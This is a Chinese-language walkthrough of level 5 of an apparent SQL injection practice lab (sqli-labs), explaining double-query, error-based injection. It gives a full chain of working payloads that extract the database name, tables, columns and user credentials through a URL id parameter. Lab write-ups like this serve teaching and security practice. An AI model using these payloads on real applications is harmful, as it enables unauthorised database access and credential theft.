文章目录
第5关用前面的id=1时页面只会显示一个you are in…
不会显示其他结果,没见过于是上网百度,发现用的是报错注入或者是双查询,通过关卡信息可以知道这一关用的是双查询的思路来解题
什么是双查询呢?
例如:
select concat((select database()));
这个语句,先执行内部的再执行外面的。也就是说先执行一下select database(),然后再执行外面的这块儿。
双查询的原理:
简单的一句话原理就是有研究人员发现,当在一个聚合函数,比如count函数后面如果使用分组语句就会把查询的一部分以错误的形式显示出来。
函数说明:
rand()是一个生成随机数的函数,他会返回0到1之间到一个值。
floor()是取整函数了,
count()是一个聚合函数,用户返回符合条件的记录数量
group by语句:也就是给你查询出来的结果分组;
输入
`?id=1' and 1= 1 -- -`
显示的只有一个you are in…
输入
`?id=1' and 1=2 -- -`
没有任何回显
获取字段数
输入语句
`?id=1' order by 5 -- -`
输入
`?id=1' order by 3 -- -`
所以字段数为3
这是想要获取数据库名就需要用到双注入
双注入的原理总的来说就是,当一个聚合函数后面出现group分组语句时,会将查询的一部分结果以报错的形式返回,他有一个固定的公式。 那么开始构建sql语句
输入
`?id=1' union select count(*),2,concat('*',(select database()),'*',floor(rand()*2))as a from information_schema.tables group by a -- -`
得到数据库名security
输入
`?id=-1' union select 1,count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 0,1),"==",floor(rand()*2))as a from information_schema.schemata group by a --+
获取表名
这里只能一个一个的爆需要把 limit 后面变成(1,1)(2,1)(3,1)依次爆表名
查询表列数
`?id=0' union select 1,count(*),concat((select count(column_name) from information_schema.columns where table_schema='security' and table_name="users"),"==",floor(rand()*2)) as a from information_schema.tables where table_schema='security' group by a --+`
然后通过limit查询列名
?id=0' union select 1,count(*),concat((select column_name from information_schema.columns where table_schema='security' and table_name="users" limit 0,1),"==",floor(rand()*2)) as a from information_schema.tables where table_schema='security' group by a --+
改变limit的变量把其他列名也爆出来
最后爆字段
?id=1' union select 1, count(*), concat((select username from users limit 0,1), '---', floor(rand(0)*2)) as a from information_schema.tables group by a --+
这里是查了第一个username,而password的查法一样,改一下字段名就可以了